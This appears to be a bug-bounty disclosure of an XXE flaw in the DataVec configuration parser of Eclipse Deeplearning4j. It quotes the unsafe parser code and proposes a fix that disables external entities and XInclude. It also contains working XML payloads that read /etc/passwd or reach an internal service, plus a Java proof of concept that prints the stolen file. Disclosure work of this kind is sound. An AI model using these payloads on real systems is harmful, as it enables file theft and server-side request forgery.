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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# XXE (XML External Entity) Injection in DataVec Configuration Parser
|
| 2 |
+
|
| 3 |
+
## Target
|
| 4 |
+
- **Project:** Eclipse Deeplearning4j (DL4J)
|
| 5 |
+
- **Repository:** https://github.com/deeplearning4j/deeplearning4j
|
| 6 |
+
- **Component:** `Configuration` (datavec-api module)
|
| 7 |
+
- **Bounty Program:** huntr.com ($1,500 model format bounty)
|
| 8 |
+
|
| 9 |
+
## Vulnerability Summary
|
| 10 |
+
|
| 11 |
+
The `Configuration.loadResource()` method in DL4J's DataVec module parses XML configuration files using a `DocumentBuilderFactory` without disabling external entity resolution or DOCTYPE declarations. Furthermore, it explicitly enables XInclude processing (`setXIncludeAware(true)`), which compounds the attack surface. An attacker can craft a malicious XML configuration file that exfiltrates local file contents or performs server-side request forgery (SSRF) via XML external entities.
|
| 12 |
+
|
| 13 |
+
## Severity
|
| 14 |
+
- **HIGH** (CWE-611: Improper Restriction of XML External Entity Reference)
|
| 15 |
+
- **CVSS 3.1:** 7.5
|
| 16 |
+
|
| 17 |
+
## Affected Code
|
| 18 |
+
|
| 19 |
+
**File:** `datavec/datavec-api/src/main/java/org/datavec/api/conf/Configuration.java`
|
| 20 |
+
**Lines:** 1118-1159
|
| 21 |
+
|
| 22 |
+
```java
|
| 23 |
+
private void loadResource(Properties properties, Object name, boolean quiet) {
|
| 24 |
+
try {
|
| 25 |
+
DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
|
| 26 |
+
//ignore all comments inside the xml file
|
| 27 |
+
docBuilderFactory.setIgnoringComments(true);
|
| 28 |
+
|
| 29 |
+
//allow includes in the xml file
|
| 30 |
+
docBuilderFactory.setNamespaceAware(true);
|
| 31 |
+
try {
|
| 32 |
+
docBuilderFactory.setXIncludeAware(true); // DANGEROUS: enables XInclude processing
|
| 33 |
+
} catch (UnsupportedOperationException e) {
|
| 34 |
+
LOG.error("Failed to set setXIncludeAware(true) for parser " + docBuilderFactory + ":" + e, e);
|
| 35 |
+
}
|
| 36 |
+
DocumentBuilder builder = docBuilderFactory.newDocumentBuilder();
|
| 37 |
+
Document doc = null;
|
| 38 |
+
Element root = null;
|
| 39 |
+
|
| 40 |
+
if (name instanceof URL) {
|
| 41 |
+
URL url = (URL) name;
|
| 42 |
+
if (url != null) {
|
| 43 |
+
if (!quiet) {
|
| 44 |
+
LOG.info("parsing " + url);
|
| 45 |
+
}
|
| 46 |
+
doc = builder.parse(url.toString()); // VULNERABLE: parses untrusted XML
|
| 47 |
+
}
|
| 48 |
+
} else if (name instanceof String) {
|
| 49 |
+
URL url = getResource((String) name);
|
| 50 |
+
if (url != null) {
|
| 51 |
+
if (!quiet) {
|
| 52 |
+
LOG.info("parsing " + url);
|
| 53 |
+
}
|
| 54 |
+
doc = builder.parse(url.toString()); // VULNERABLE
|
| 55 |
+
}
|
| 56 |
+
} else if (name instanceof InputStream) {
|
| 57 |
+
try {
|
| 58 |
+
doc = builder.parse((InputStream) name); // VULNERABLE
|
| 59 |
+
} finally {
|
| 60 |
+
((InputStream) name).close();
|
| 61 |
+
}
|
| 62 |
+
}
|
| 63 |
+
```
|
| 64 |
+
|
| 65 |
+
**Missing protections -- none of these are set:**
|
| 66 |
+
- `FEATURE_SECURE_PROCESSING`
|
| 67 |
+
- Disabling `http://xml.org/sax/features/external-general-entities`
|
| 68 |
+
- Disabling `http://xml.org/sax/features/external-parameter-entities`
|
| 69 |
+
- Disabling `http://apache.org/xml/features/nonvalidating/load-external-dtd`
|
| 70 |
+
- Disabling `http://apache.org/xml/features/disallow-doctype-decl`
|
| 71 |
+
|
| 72 |
+
## Root Cause
|
| 73 |
+
|
| 74 |
+
The code was adapted from Apache Hadoop's `Configuration` class (which historically also had XXE issues) and explicitly enables XInclude for feature richness, but never disables external entity processing. This allows the XML parser to resolve external entities (file://, http://, etc.) specified in attacker-controlled XML.
|
| 75 |
+
|
| 76 |
+
## Attack Scenario
|
| 77 |
+
|
| 78 |
+
1. An attacker provides a malicious XML configuration file (e.g., as part of a data pipeline configuration, or via a configuration resource URL):
|
| 79 |
+
|
| 80 |
+
```xml
|
| 81 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
| 82 |
+
<!DOCTYPE configuration [
|
| 83 |
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
| 84 |
+
]>
|
| 85 |
+
<configuration>
|
| 86 |
+
<property>
|
| 87 |
+
<name>exfiltrated</name>
|
| 88 |
+
<value>&xxe;</value>
|
| 89 |
+
</property>
|
| 90 |
+
</configuration>
|
| 91 |
+
```
|
| 92 |
+
|
| 93 |
+
2. When DL4J processes this configuration via `Configuration.addResource()` followed by `get()`, the XML parser resolves the external entity, reading `/etc/passwd`.
|
| 94 |
+
|
| 95 |
+
3. The file contents are stored as a property value, accessible to the attacker if error messages or property values are exposed.
|
| 96 |
+
|
| 97 |
+
**XInclude variant (even more dangerous since XInclude is explicitly enabled):**
|
| 98 |
+
|
| 99 |
+
```xml
|
| 100 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
| 101 |
+
<configuration xmlns:xi="http://www.w3.org/2001/XInclude">
|
| 102 |
+
<property>
|
| 103 |
+
<name>exfiltrated</name>
|
| 104 |
+
<value><xi:include href="file:///etc/passwd" parse="text"/></value>
|
| 105 |
+
</property>
|
| 106 |
+
</configuration>
|
| 107 |
+
```
|
| 108 |
+
|
| 109 |
+
**SSRF variant:**
|
| 110 |
+
```xml
|
| 111 |
+
<?xml version="1.0" encoding="UTF-8"?>
|
| 112 |
+
<!DOCTYPE configuration [
|
| 113 |
+
<!ENTITY xxe SYSTEM "http://internal-service:8080/admin/secret">
|
| 114 |
+
]>
|
| 115 |
+
<configuration>
|
| 116 |
+
<property>
|
| 117 |
+
<name>data</name>
|
| 118 |
+
<value>&xxe;</value>
|
| 119 |
+
</property>
|
| 120 |
+
</configuration>
|
| 121 |
+
```
|
| 122 |
+
|
| 123 |
+
## Proof of Concept
|
| 124 |
+
|
| 125 |
+
```java
|
| 126 |
+
import org.datavec.api.conf.Configuration;
|
| 127 |
+
import java.io.*;
|
| 128 |
+
|
| 129 |
+
public class XXEExploit {
|
| 130 |
+
public static void main(String[] args) throws Exception {
|
| 131 |
+
String maliciousXml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
| 132 |
+
"<!DOCTYPE configuration [\n" +
|
| 133 |
+
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
|
| 134 |
+
"]>\n" +
|
| 135 |
+
"<configuration>\n" +
|
| 136 |
+
" <property>\n" +
|
| 137 |
+
" <name>stolen</name>\n" +
|
| 138 |
+
" <value>&xxe;</value>\n" +
|
| 139 |
+
" </property>\n" +
|
| 140 |
+
"</configuration>";
|
| 141 |
+
|
| 142 |
+
Configuration conf = new Configuration(false);
|
| 143 |
+
conf.addResource(new ByteArrayInputStream(maliciousXml.getBytes()));
|
| 144 |
+
|
| 145 |
+
// The file contents are now available as a configuration property
|
| 146 |
+
String stolen = conf.get("stolen");
|
| 147 |
+
System.out.println("Exfiltrated: " + stolen);
|
| 148 |
+
}
|
| 149 |
+
}
|
| 150 |
+
```
|
| 151 |
+
|
| 152 |
+
## Usage Context
|
| 153 |
+
|
| 154 |
+
The `Configuration` class is used throughout DL4J's DataVec data pipeline:
|
| 155 |
+
- Loading data pipeline configurations
|
| 156 |
+
- Configuring record readers and writers
|
| 157 |
+
- Setting up data transformation pipelines
|
| 158 |
+
- The class is modeled after Hadoop's Configuration and accepts resources from URLs, classpath, and InputStreams
|
| 159 |
+
|
| 160 |
+
## Impact
|
| 161 |
+
|
| 162 |
+
- **Local File Disclosure:** Read any file accessible to the JVM process (e.g., `/etc/passwd`, application configuration files, private keys).
|
| 163 |
+
- **Server-Side Request Forgery (SSRF):** Make HTTP requests to internal services from the server running DL4J.
|
| 164 |
+
- **Denial of Service:** Via billion-laughs XML entity expansion attacks.
|
| 165 |
+
- **Data Exfiltration:** In contexts where property values are returned to external systems.
|
| 166 |
+
|
| 167 |
+
## Recommended Fix
|
| 168 |
+
|
| 169 |
+
Disable external entity processing and DOCTYPE declarations:
|
| 170 |
+
|
| 171 |
+
```java
|
| 172 |
+
private void loadResource(Properties properties, Object name, boolean quiet) {
|
| 173 |
+
try {
|
| 174 |
+
DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance();
|
| 175 |
+
|
| 176 |
+
// Prevent XXE attacks
|
| 177 |
+
docBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
|
| 178 |
+
docBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
|
| 179 |
+
docBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
|
| 180 |
+
docBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
|
| 181 |
+
docBuilderFactory.setXIncludeAware(false); // Disable XInclude
|
| 182 |
+
docBuilderFactory.setExpandEntityReferences(false);
|
| 183 |
+
|
| 184 |
+
docBuilderFactory.setIgnoringComments(true);
|
| 185 |
+
docBuilderFactory.setNamespaceAware(true);
|
| 186 |
+
|
| 187 |
+
DocumentBuilder builder = docBuilderFactory.newDocumentBuilder();
|
| 188 |
+
// ... rest of method
|
| 189 |
+
```
|
| 190 |
+
|
| 191 |
+
## References
|
| 192 |
+
|
| 193 |
+
- CWE-611: Improper Restriction of XML External Entity Reference
|
| 194 |
+
- https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
|
| 195 |
+
- https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE)
|